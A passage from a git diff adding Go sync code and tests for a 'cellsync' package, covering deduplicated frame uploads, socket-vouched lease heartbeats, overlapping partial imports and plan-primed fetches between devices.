+ if err := os.WriteFile(out, frame, 0o600); err != nil { + return FrameFile{}, err + } + return FrameFile{Path: out, Objects: len(objects), Bytes: int64(len(frame))}, nil +} + +// removeAll deletes the originals a split replaced. They are deleted only after +// the held parts are recorded, so a failure earlier leaves the export whole. +func removeAll(paths []string) error { + for _, path := range paths { + if err := os.Remove(path); err != nil { + return err + } + } + return nil +} diff --git a/internal/cellsync/held_real_test.go b/internal/cellsync/held_real_test.go new file mode 100644 index 0000000000..18de90813b --- /dev/null +++ b/internal/cellsync/held_real_test.go @@ -0,0 +1,74 @@ +//go:build engine + +package cellsync + +import ( + "context" + "crypto/rand" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// TestAFreshLedgerSendsOnlyTheTurnRealEngine is the same rule on the real +// engine, whose frames the Rust side must accept after the split: the store +// holds a 1 MiB chat another ledger published, a second ledger publishes one +// small turn on top, and only the turn crosses the wire. +func TestAFreshLedgerSendsOnlyTheTurnRealEngine(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + ctx := context.Background() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + local := cellstore.Engine{Binary: bin, DataRoot: t.TempDir(), Transport: cellstore.Spawn{Binary: bin}} + engineFor := func(name string) cellstore.SyncEngine { + // D1/K3 routes exports to the shared store where the seal was written. + return local.Sync(cellstore.SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, cellstore.LedgerName("http://relay-"+name, "id_test")) + } + chat := make([]byte, 1<<20) + _, _ = rand.Read(chat) + if err := os.WriteFile(filepath.Join(c.Root, "chat"), chat, 0o600); err != nil { + t.Fatal(err) + } + first, err := local.Seal(ctx, c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + mem := blobstore.NewMemory() + if _, err := (&Publisher{Engine: engineFor("a"), Store: mem}).Upload(ctx, c, first.Turn.ID); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(c.Root, "turn"), []byte("one small turn"), 0o600); err != nil { + t.Fatal(err) + } + second, err := local.Seal(ctx, c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + + counters := &blobstore.Counters{} + fresh := engineFor("b") + whole, err := fresh.Export(ctx, c, second.Turn.ID) + if err != nil { + t.Fatal(err) + } + if _, err := (&Publisher{Engine: fresh, Store: blobstore.Counting{Inner: mem, C: counters}}).Upload(ctx, c, second.Turn.ID); err != nil { + t.Fatal(err) + } + t.Logf("bytes sent: %d before, %d after", whole.Bytes, counters.BytesUp.Load()) + if got := counters.BytesUp.Load(); got > askFloor { + t.Fatalf("a fresh ledger sent %d bytes for a small turn", got) + } + if again, err := fresh.Export(ctx, c, second.Turn.ID); err != nil || again.Objects != 0 { + t.Fatalf("the ledger still lacks %d objects (%v)", again.Objects, err) + } +} diff --git a/internal/cellsync/held_test.go b/internal/cellsync/held_test.go new file mode 100644 index 0000000000..5c5c6223c4 --- /dev/null +++ b/internal/cellsync/held_test.go @@ -0,0 +1,47 @@ +package cellsync + +import ( + "context" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestAFreshLedgerDoesNotResendWhatTheStoreHolds is the rotation case in its +// general form: a device that never published to a store, and so has an empty +// ledger for it, publishes a small turn on top of a chat the store already +// holds. Only the turn may cross the wire, and the held objects must be +// recorded so the turn after it does not ask again. +func TestAFreshLedgerDoesNotResendWhatTheStoreHolds(t *testing.T) { + ctx := context.Background() + r := newRig(t) + chat := map[string]string{"chat": strings.Repeat("a long conversation ", 1<<16)} // about 1.25 MiB + r.publishFirst(chat) + + counters := &blobstore.Counters{} + c := cell.Cell{ID: cellID, Root: t.TempDir()} + eng := NewFakeEngine(t.TempDir()) + pub := &Publisher{Engine: eng, Store: blobstore.Counting{Inner: r.mem, C: counters}} + eng.Seal(c, chat) + turn := map[string]string{"chat": chat["chat"], "turn": "one small turn"} + head := eng.Seal(c, turn) + + whole, err := eng.Ledger(t.TempDir()).Export(ctx, c, head) + if err != nil { + t.Fatal(err) + } + ex, err := pub.Upload(ctx, c, head) + if err != nil { + t.Fatal(err) + } + t.Logf("bytes sent: %d before, %d after; has requests %d", whole.Bytes, counters.BytesUp.Load(), counters.Has.Load()) + if got := counters.BytesUp.Load(); got > askFloor || got != ex.Bytes { + t.Fatalf("a fresh ledger sent %d bytes for a small turn (reported %d)", got, ex.Bytes) + } + again, err := eng.Export(ctx, c, head) + if err != nil || again.Objects != 0 { + t.Fatalf("after the publish the ledger still lacks %d objects (%v)", again.Objects, err) + } +} diff --git a/internal/cellsync/helpers_test.go b/internal/cellsync/helpers_test.go new file mode 100644 index 0000000000..7dd0e250b5 --- /dev/null +++ b/internal/cellsync/helpers_test.go @@ -0,0 +1,335 @@ +package cellsync + +import ( + "context" + "fmt" + "os" + "path/filepath" + "slices" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + devA = "dev_a" + devB = "dev_b" + cellID = "01J0000000000000000000000A" + // otherHead is a head device B writes directly, standing in for its work. + otherHead = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" +) + +// rig is device A of one identity plus the shared store and directory. +type rig struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + mem *blobstore.Memory + store *flakyStore + dirA *faultDir + engA *FakeEngine + cellA cell.Cell + drv *Driving + pub *Publisher + branch *BranchMap + ids int +} + +func newRig(t *testing.T) *rig { + t.Helper() + clock := directorytest.NewFakeClock() + dir := directory.NewMemory(clock.Now) + mem := blobstore.NewMemory() + r := &rig{ + t: t, clock: clock, dir: dir, mem: mem, + store: &flakyStore{Store: mem}, + dirA: &faultDir{Client: dir.For(devA)}, + engA: NewFakeEngine(t.TempDir()), + cellA: cell.Cell{ID: cellID, Root: t.TempDir()}, + } + r.drv = &Driving{Cell: r.cellA} + r.pub = &Publisher{Engine: r.engA, Store: r.store, Dir: r.dirA} + r.branch = &BranchMap{path: filepath.Join(t.TempDir(), "branches.json"), m: map[string]string{}} + return r +} + +func (r *rig) seal(files map[string]string) string { return r.engA.Seal(r.cellA, files) } + +func (r *rig) newID() (string, error) { + r.ids++ + return fmt.Sprintf("branch-%d", r.ids), nil +} + +func (r *rig) info() PublishInfo { return PublishInfo{Class: "chat", Size: 7} } + +// batcher is device A's batcher over the rig, with a short interval. +func (r *rig) batcher() *Batcher { + return &Batcher{ + Publisher: r.pub, + Brancher: Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID, Map: r.branch}, + Driving: r.drv, + Interval: 5 * time.Second, + Info: r.info, + } +} + +// head reads the directory's view of a cell as device B would. +func (r *rig) head(id string) directory.Cell { + r.t.Helper() + v, err := r.dir.For(devB).Cell(context.Background(), id) + if err != nil { + r.t.Fatalf("cell %s: %v", id, err) + } + return v.Cell +} + +// publishFirst makes h the durable head of cellID. +func (r *rig) publishFirst(files map[string]string) string { + r.t.Helper() + h := r.seal(files) + if err := r.pub.Publish(context.Background(), r.drv, h, r.info()); err != nil { + r.t.Fatalf("first publish: %v", err) + } + return h +} + +// takeOver lets the lease lapse and makes device B hold it, as after a lid-close. +func (r *rig) takeOver() { + r.t.Helper() + r.clock.Advance(directory.LeaseTTL + time.Second) + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); err != nil { + r.t.Fatalf("takeover: %v", err) + } +} + +// bPublishes writes device B's head, as its own driver would after takeover. +func (r *rig) bPublishes(old string) { + r.t.Helper() + _, err := r.dir.For(devB).Publish(context.Background(), cellID, directory.Publish{ + Fence: 2, OldHead: old, Head: otherHead, Class: "chat", + }) + if err != nil { + r.t.Fatalf("B publish: %v", err) + } +} + +func (r *rig) puts() int { + n := 0 + for _, op := range r.mem.Log() { + if op.Kind == "put" { + n++ + } + } + return n +} + +func note(b *Batcher, heads ...string) { + for _, h := range heads { + b.Note(cellstore.Turn{ID: h}) + } +} + +// flakyStore is a store that can fail, or run a hook, before each PutFrame. +type flakyStore struct { + blobstore.Store + mu sync.Mutex + err error + hook func(context.Context) +} + +func (s *flakyStore) set(err error, hook func(context.Context)) { + s.mu.Lock() + defer s.mu.Unlock() + s.err, s.hook = err, hook +} + +func (s *flakyStore) PutFrame(ctx context.Context, frame []byte) (blobstore.FrameID, error) { + s.mu.Lock() + err, hook := s.err, s.hook + s.mu.Unlock() + if hook != nil { + hook(ctx) + } + if err != nil { + return "", err + } + return s.Store.PutFrame(ctx, frame) +} + +// faultDir is a directory client that can be told to fail its writes. +type faultDir struct { + directory.Client + mu sync.Mutex + err error + beats atomic.Int32 // heartbeats attempted, for tests that count relay requests + // lose is how many creates are committed by the relay and then answered + // with a cancellation, as a drive closed mid-request sees them. + lose int +} + +func (d *faultDir) set(err error) { + d.mu.Lock() + defer d.mu.Unlock() + d.err = err +} + +func (d *faultDir) fault() error { + d.mu.Lock() + defer d.mu.Unlock() + return d.err +} + +func (d *faultDir) Create(ctx context.Context, id string, in directory.CellInit) (directory.CellView, error) { + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + v, err := d.Client.Create(ctx, id, in) + d.mu.Lock() + defer d.mu.Unlock() + if err == nil && d.lose > 0 { + d.lose-- + return directory.CellView{}, context.Canceled + } + return v, err +} + +func (d *faultDir) Publish(ctx context.Context, id string, p directory.Publish) (directory.CellView, error) { + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + return d.Client.Publish(ctx, id, p) +} + +func (d *faultDir) Heartbeat(ctx context.Context, id string, b directory.Beat) (directory.CellView, error) { + d.beats.Add(1) + if err := d.fault(); err != nil { + return directory.CellView{}, err + } + return d.Client.Heartbeat(ctx, id, b) +} + +func (d *faultDir) Release(ctx context.Context, id string, fence uint64) error { + if err := d.fault(); err != nil { + return err + } + return d.Client.Release(ctx, id, fence) +} + +// readFiles reads every file under root as path -> content. +func readFiles(t *testing.T, root string) map[string]string { + t.Helper() + out := map[string]string{} + err := filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + raw, err := os.ReadFile(p) + rel, _ := filepath.Rel(root, p) + rel = filepath.ToSlash(rel) + out[rel] = string(raw) + return err + }) + if err != nil { + t.Fatal(err) + } + return out +} + +// fakeSleeper is a clock for Run: sleeps end only when a test advances time. +type fakeSleeper struct { + clock *directorytest.FakeClock + mu sync.Mutex + changed *sync.Cond + now time.Duration + waiters []*sleeper + expired bool // settleOn ran out of patience +} + +type sleeper struct { + wake time.Duration + done chan struct{} +} + +func newFakeSleeper(clock *directorytest.FakeClock) *fakeSleeper { + s := &fakeSleeper{clock: clock} + s.changed = sync.NewCond(&s.mu) + return s +} + +func (s *fakeSleeper) Sleep(ctx context.Context, d time.Duration) error { + s.mu.Lock() + w := &sleeper{wake: s.now + d, done: make(chan struct{})} + s.waiters = append(s.waiters, w) + s.changed.Broadcast() + s.mu.Unlock() + select { + case <-w.done: + return nil + case <-ctx.Done(): + s.forget(w) + return ctx.Err() + } +} + +// forget drops a sleeper whose wait was cancelled, so settle counts live loops. +func (s *fakeSleeper) forget(w *sleeper) { + s.mu.Lock() + defer s.mu.Unlock() + s.waiters = slices.DeleteFunc(s.waiters, func(x *sleeper) bool { return x == w }) + s.changed.Broadcast() +} + +// advance moves both the directory's clock and the sleepers' time by d. +func (s *fakeSleeper) advance(d time.Duration) { + s.clock.Advance(d) + s.mu.Lock() + defer s.mu.Unlock() + s.now += d + kept := s.waiters[:0] + for _, w := range s.waiters { + if w.wake <= s.now { + close(w.done) + continue + } + kept = append(kept, w) + } + s.waiters = kept +} + +// settle waits until n loops are asleep again, that is, until the work the +// last advance woke has finished. +func (s *fakeSleeper) settle(n int) { + s.mu.Lock() + defer s.mu.Unlock() + for len(s.waiters) != n { + s.changed.Wait() + } +} + +// settleOn waits until some loop sleeps for exactly d from now: the loop has +// finished the work before that sleep. It gives up after a real second, so a +// loop that never gets there fails the test instead of hanging it. +func (s *fakeSleeper) settleOn(d time.Duration) { + giveUp := time.AfterFunc(time.Second, func() { + s.mu.Lock() + s.expired = true + s.mu.Unlock() + s.changed.Broadcast() + }) + defer giveUp.Stop() + s.mu.Lock() + defer s.mu.Unlock() + for !slices.ContainsFunc(s.waiters, func(w *sleeper) bool { return w.wake-s.now == d }) { + if s.expired { + panic(fmt.Sprintf("no loop went to sleep for %v", d)) + } + s.changed.Wait() + } +} diff --git a/internal/cellsync/liveness.go b/internal/cellsync/liveness.go new file mode 100644 index 0000000000..76f706fe16 --- /dev/null +++ b/internal/cellsync/liveness.go @@ -0,0 +1,86 @@ +package cellsync + +// Liveness is a watch socket that can vouch for the leases this process holds +// (STAGE-1-CONTRACTS.md §21.11). While it does, the relay counts the socket's +// pings as the holder's proof of life, so the Batcher need not heartbeat. +type Liveness interface { + // Keep names the lease of cell at fence on the socket and answers how to + // read whether it is vouched for. The socket dials again to name it. + Keep(cell string, fence uint64) Keeping +} + +// Keeping is one lease as the socket names it. +type Keeping interface { + // Healthy is true only while the relay is certain to be vouching: the + // socket is open, the relay said it vouches, the socket names this lease, + // and it showed a sign of life lately. Anything less, and the holder beats. + Healthy() bool + // Changes signals, without blocking, that Healthy may have changed. + Changes() <-chan struct{} + // Release stops naming the lease. + Release() +} + +// holding is the Batcher's current Keeping, re-made when the lease it names +// changes. Its zero value holds nothing and is never healthy. +type holding struct { + keeping Keeping + cell string + fence uint64 + vouched bool // the socket was healthy when last looked at +} + +// follow makes the socket name the lease the Batcher holds now: the cell and +// fence of the driving state, and nothing while the lease is lost or not yet +// taken, because there is nothing to vouch for. +func (h *holding) follow(l Liveness, view func() (Driving, uint32, bool)) { + if l == nil { + return + } + d, _, stale := view() + cell, fence := d.ID(), d.Fence + if stale || fence == 0 { + h.release() + return + } + if h.keeping != nil && h.cell == cell && h.fence == fence { + return + } + h.release() + h.keeping, h.cell, h.fence, h.vouched = l.Keep(cell, fence), cell, fence, false +} + +// covers says whether the lease needs no heartbeat now: the socket is healthy +// and the directory already knows how many turns are pending. +func (h *holding) covers(view func() (Driving, uint32, bool), told func(uint32) bool) bool { + h.vouched = h.keeping != nil && h.keeping.Healthy() + if !h.vouched { + return false + } + _, pending, _ := view() + return told(pending) +} + +// lapsed says whether the socket vouched when last looked at and no longer +// does. Only that is news to the lease: a socket that was never vouching and +// redials has changed nothing, and the tick already beats for it. +func (h *holding) lapsed() bool { + was := h.vouched + h.vouched = h.keeping != nil && h.keeping.Healthy() + return was && !h.vouched +} + +// changes is the channel the socket signals on, or nil, which never fires. +func (h *holding) changes() <-chan struct{} { + if h.keeping == nil { + return nil + } + return h.keeping.Changes() +} + +func (h *holding) release() { + if h.keeping != nil { + h.keeping.Release() + h.keeping = nil + } +} diff --git a/internal/cellsync/liveness_test.go b/internal/cellsync/liveness_test.go new file mode 100644 index 0000000000..8130355bec --- /dev/null +++ b/internal/cellsync/liveness_test.go @@ -0,0 +1,215 @@ +package cellsync + +import ( + "context" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// fakeLiveness is a watch socket the test opens and closes by hand. +type fakeLiveness struct { + mu sync.Mutex + kept []directory.Hold + sock *fakeKeeping + start bool // whether the socket is healthy from the first Keep +} + +type fakeKeeping struct { + healthy atomic.Bool + changes chan struct{} +} + +func newFakeLiveness(healthy bool) *fakeLiveness { + return &fakeLiveness{start: healthy, sock: &fakeKeeping{changes: make(chan struct{}, 1)}} +} + +func (l *fakeLiveness) Keep(cell string, fence uint64) Keeping { + l.mu.Lock() + defer l.mu.Unlock() + l.kept = append(l.kept, directory.Hold{Cell: cell, Fence: fence}) + l.sock.healthy.Store(l.start) + return l.sock +} + +// flip sets the socket's health and signals the change, as a feed does. +func (l *fakeLiveness) flip(healthy bool) { + l.sock.healthy.Store(healthy) + select { + case l.sock.changes <- struct{}{}: + default: + } +} + +func (k *fakeKeeping) Healthy() bool { return k.healthy.Load() } +func (k *fakeKeeping) Changes() <-chan struct{} { return k.changes } +func (k *fakeKeeping) Release() {} + +// heldRig is a rig whose batcher runs its heartbeat loop under a fake sleeper +// with l vouching, on a lease device A holds and has nothing pending on. +type heldRig struct { + *rig + b *Batcher + sl *fakeSleeper + stop func() +} + +func runHeld(t *testing.T, l Liveness) *heldRig { + t.Helper() + r := newRig(t) + b := r.batcher() + b.Liveness = l + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + t.Cleanup(func() { cancel(); <-done }) + return &heldRig{rig: r, b: b, sl: sl} +} + +// ticks lets n heartbeat intervals pass, each fully handled before the next. +func (h *heldRig) ticks(n int) { + for range n { + h.sl.advance(directory.HeartbeatEvery) + h.sl.settle(1) + } +} + +// beatsReach waits for the directory to have heard n heartbeats, and fails if it +// does not within a real second. +func (h *heldRig) beatsReach(n int32) { + h.t.Helper() + for deadline := time.Now().Add(time.Second); h.dirA.beats.Load() < n; { + if time.Now().After(deadline) { + h.t.Fatalf("%d heartbeats, want %d", h.dirA.beats.Load(), n) + } + time.Sleep(time.Millisecond) + } +} + +// A vouching socket is the proof of life: a chat idle for hours sends nothing. +func TestNoBeatsWhileSocketVouches(t *testing.T) { + h := runHeld(t, newFakeLiveness(true)) + h.ticks(240) // two idle hours + if got := h.dirA.beats.Load(); got != 0 { + t.Fatalf("%d heartbeats in two idle hours with the socket up, want none", got) + } +} + +// The moment the socket stops vouching, the lease is on its stored expiry +// alone, so a beat goes at once; the next ticks keep it alive while it is down. +func TestBeatsResumeWhenSocketDown(t *testing.T) { + l := newFakeLiveness(true) + h := runHeld(t, l) + h.ticks(3) + l.flip(false) + h.beatsReach(1) // before any tick: the change is answered at once + h.ticks(2) + if got := h.dirA.beats.Load(); got != 3 { + t.Fatalf("%d heartbeats after the socket went down and two ticks, want 3", got) + } + l.flip(true) + h.ticks(3) + if got := h.dirA.beats.Load(); got != 3 { + t.Fatalf("%d heartbeats, want none more once the socket vouches again", got) + } +} + +// A change in the pending count is a fact only a beat carries, so one goes at +// the next tick even with the socket healthy, and only one. +func TestBeatOnPendingChange(t *testing.T) { + h := runHeld(t, newFakeLiveness(true)) + h.ticks(2) + // The flush loop is held still, so the noted turns stay pending. + h.b.flushMu.Lock() + t.Cleanup(h.b.flushMu.Unlock) + note(h.b, h.rig.seal(map[string]string{"a": "1"}), h.rig.seal(map[string]string{"a": "2"})) + h.ticks(3) + if got := h.dirA.beats.Load(); got != 1 { + t.Fatalf("%d heartbeats, want exactly the one that carried the pending count", got) + } + if got := h.head(cellID).Lease.Pending; got != 2 { + t.Fatalf("directory shows %d pending, want 2", got) + } +} + +// A relay that never said it vouches is an old one: beat as always. +func TestBeatsOnRelayWithoutVouching(t *testing.T) { + h := runHeld(t, newFakeLiveness(false)) + h.ticks(4) + if got := h.dirA.beats.Load(); got != 4 { + t.Fatalf("%d heartbeats in 4 ticks without vouching, want 4", got) + } +} + +// vouchingStream is a socket that vouches, speaks once and then stays quiet. +type vouchingStream struct { + spoke bool + done chan struct{} +} + +func (s *vouchingStream) Next(ctx context.Context) (dirwatch.Frame, error) { + if !s.spoke { + s.spoke = true + return dirwatch.Frame{Version: 1}, nil + } + select { + case <-ctx.Done(): + case <-s.done: + } + return dirwatch.Frame{}, ctx.Err() +} +func (s *vouchingStream) Ping(context.Context) error { return nil } +func (s *vouchingStream) Vouching() bool { return true } +func (s *vouchingStream) Close() { close(s.done) } + +func vouchingDial(context.Context, []directory.Hold) (dirwatch.Stream, error) { + return &vouchingStream{done: make(chan struct{})}, nil +} + +// The socket names at most as many holds as it is allowed; a chat past the cap +// is never vouched for, so its heartbeats go on. +func TestBeatsForCellsBeyondMaxHolds(t *testing.T) { + holder := dirwatch.Hold("beyond-max-holds", 1, vouchingDial) + first := holder.Take(directory.Hold{Cell: "someone-else", Fence: 1}) // takes the only place + defer first.Release() + h := runHeld(t, holdSocket{holder}) + h.ticks(4) + if got := h.dirA.beats.Load(); got != 4 { + t.Fatalf("%d heartbeats in 4 ticks past the cap, want 4", got) + } +} + +// The same socket with room left vouches, and the heartbeats stop. +func TestBeatsStopForCellsWithinMaxHolds(t *testing.T) { + holder := dirwatch.Hold("within-max-holds", 2, vouchingDial) + h := runHeld(t, holdSocket{holder}) + probe := holder.Take(directory.Hold{Cell: cellID, Fence: h.drv.Fence}) + defer probe.Release() + for deadline := time.Now().Add(time.Second); !probe.Healthy(); time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatal("the socket never vouched") + } + } + before := h.dirA.beats.Load() + h.ticks(10) + if got := h.dirA.beats.Load() - before; got != 0 { + t.Fatalf("%d heartbeats with the socket vouching, want none", got) + } +} + +// holdSocket adapts the holder as the wiring in syncsetup does. +type holdSocket struct { + h *dirwatch.Holder[directory.Hold] +} + +func (s holdSocket) Keep(cell string, fence uint64) Keeping { + return s.h.Take(directory.Hold{Cell: cell, Fence: fence}) +} diff --git a/internal/cellsync/overlap.go b/internal/cellsync/overlap.go new file mode 100644 index 0000000000..1dfb8d96b1 --- /dev/null +++ b/internal/cellsync/overlap.go @@ -0,0 +1,62 @@ +package cellsync + +import ( + "context" + "sync" + "sync/atomic" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// overlap imports whole frames while the next ones still download (contract +// §22.12). A partial import stores what the head can reach so far and deletes +// nothing, so the primed import that follows the last frame still sees every +// frame-mate and is the one place extras are deleted. A partial import that +// fails only costs the overlap: the final import does all of its work. +type overlap struct { + kick chan struct{} + done sync.WaitGroup + frames atomic.Int64 +} + +// startOverlap starts the importer. The caller reports each landed frame with +// landed and calls finish once, after the last one. +func startOverlap(ctx context.Context, eng Engine, c cell.Cell, head, inbox string) *overlap { + o := &overlap{kick: make(chan struct{}, 1)} + o.done.Add(1) + go func() { + defer o.done.Done() + for range o.kick { + if _, err := eng.ImportPartial(ctx, c, head, inbox); err != nil { + o.drain() + return + } + } + }() + return o +} + +// landed counts a frame and asks for an import every ImportEvery of them. The +// kick channel holds one request, so frames that land during an import share +// the next one. +func (o *overlap) landed() { + if o.frames.Add(1)%ImportEvery != 0 { + return + } + select { + case o.kick <- struct{}{}: + default: + } +} + +// drain ignores the requests that follow a failed import. +func (o *overlap) drain() { + for range o.kick { + } +} + +// finish waits for the import in flight; no import starts after it. +func (o *overlap) finish() { + close(o.kick) + o.done.Wait() +} diff --git a/internal/cellsync/overlap_test.go b/internal/cellsync/overlap_test.go new file mode 100644 index 0000000000..99e898bedd --- /dev/null +++ b/internal/cellsync/overlap_test.go @@ -0,0 +1,88 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + "reflect" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// gatedEngine counts partial imports and holds each one until released, so a +// test can land frames while an import is in flight. +type gatedEngine struct { + *FakeEngine + mu sync.Mutex + partial int + gate chan struct{} +} + +func (g *gatedEngine) ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + g.mu.Lock() + g.partial++ + g.mu.Unlock() + <-g.gate + return g.FakeEngine.ImportPartial(ctx, c, head, inbox) +} + +func (g *gatedEngine) imports() int { + g.mu.Lock() + defer g.mu.Unlock() + return g.partial +} + +// Frames keep landing while an import runs: the landing path never waits on +// the importer, the requests made meanwhile share one more import, and finish +// waits for the one in flight. +func TestOverlapNeverBlocksLandingFrames(t *testing.T) { + eng := &gatedEngine{FakeEngine: NewFakeEngine(t.TempDir()), gate: make(chan struct{})} + lap := startOverlap(context.Background(), eng, cell.Cell{ID: cellID, Root: t.TempDir()}, "head", t.TempDir()) + for i := 0; i < 5*ImportEvery; i++ { + lap.landed() // would deadlock here if landing waited for the gated import + } + close(eng.gate) + lap.finish() + if n := eng.imports(); n < 1 || n > 5 { + t.Fatalf("partial imports = %d, want 1 to 5 for %d landed frames", n, 5*ImportEvery) + } +} + +// A partial import stores what the head reaches and deletes nothing else: a +// file whose parent has not landed stays for the next call. +func TestPartialImportKeepsWhatItCannotYetReach(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + inbox := t.TempDir() + stray := filepath.Join(inbox, "ffff") + if err := os.WriteFile(stray, []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := f.Engine.ImportPartial(context.Background(), c, head, inbox); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(stray); err != nil { + t.Fatalf("a partial import removed a file it did not take: %v", err) + } +} + +// The take completes whole when frames land in several windows, and the +// materialized tree is the head's. +func TestPrimedTakeWithOverlapCompletes(t *testing.T) { + r := newRig(t) + files := map[string]string{} + for _, n := range []string{"a", "b", "c", "d", "e", "f"} { + files[n] = n + n + } + head := r.publishFirst(files) + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, files) { + t.Fatalf("materialized %v, want %v", got, files) + } +} diff --git a/internal/cellsync/prime_test.go b/internal/cellsync/prime_test.go new file mode 100644 index 0000000000..b8055b8837 --- /dev/null +++ b/internal/cellsync/prime_test.go @@ -0,0 +1,171 @@ +package cellsync + +import ( + "context" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// primedFetcherFor is a second device's fetcher that can read the plan off the +// directory record, over store, with its own engine. +func primedFetcherFor(t *testing.T, store blobstore.Store, dir directory.Client) (*Fetcher, cell.Cell) { + t.Helper() + f, c := fetcherFor(t, store) + f.Dir = dir + return f, c +} + +// A take whose record names frames primes from them: one get per frame, none +// per object, and the head materializes whole. +func TestFetchPrimesFromThePlan(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "sub/b": "two", "c": "three"}) + plan := r.head(cellID).Frames + if len(plan) == 0 { + t.Fatal("publish recorded no plan") + } + count := blobstore.Counting{Inner: r.mem, C: &blobstore.Counters{}} + f, c := primedFetcherFor(t, count, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "sub/b": "two", "c": "three"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } + if got := count.C.Gets.Load(); got != int64(len(plan)) { + t.Fatalf("gets = %d, want one per plan frame (%d)", got, len(plan)) + } +} + +// frameCounter counts the whole-frame gets a take makes. +type frameCounter struct { + blobstore.Store + frames int +} + +func (s *frameCounter) GetFrame(ctx context.Context, id string) ([]byte, error) { + s.frames++ + return s.Store.GetFrame(ctx, id) +} + +// A device that already exchanged objects with the relay is warm: the plan names +// the chat's whole upload history, so it is not fetched for a one-file change. +// The want loop brings the delta, and the take still completes. +func TestWarmTakeSkipsThePlan(t *testing.T) { + r := newRig(t) + first := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + store := &frameCounter{Store: r.mem} + f, c := primedFetcherFor(t, store, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, first); err != nil { + t.Fatal(err) + } + if store.frames == 0 { + t.Fatal("the cold take did not prime from the plan") + } + cold := store.frames + head := r.seal(map[string]string{"a": "edited", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if store.frames != cold { + t.Fatalf("warm take fetched %d frames, want none beyond the cold take's %d", store.frames-cold, cold) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "edited", "b": "two"}) { + t.Fatalf("materialized %v", got) + } +} + +// A plan that lies — it names a frame the store never held — costs the take +// nothing but the miss: the want loop completes the head anyway. +func TestFetchSurvivesALyingPlan(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + lie := append([]string{otherHead}, r.head(cellID).Frames...) + r.takeOver() // device B holds the lease, so its word moves the record + v := r.head(cellID) + if _, err := r.dir.For(devB).Publish(context.Background(), cellID, directory.Publish{ + Fence: v.Lease.Fence, OldHead: head, Head: otherHead, Class: "chat", Frames: lie, + }); err != nil { + t.Fatal(err) + } + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +// A frame packs one publish's objects, and later turns orphan some of them: +// priming delivers frame-mates the head does not want, and ImportPrimed +// deletes them instead of failing the take. +func TestFetchDropsFrameMatesTheHeadOrphaned(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one", "b": "two"}) + head := r.seal(map[string]string{"a": "edited", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := primedFetcherFor(t, r.mem, 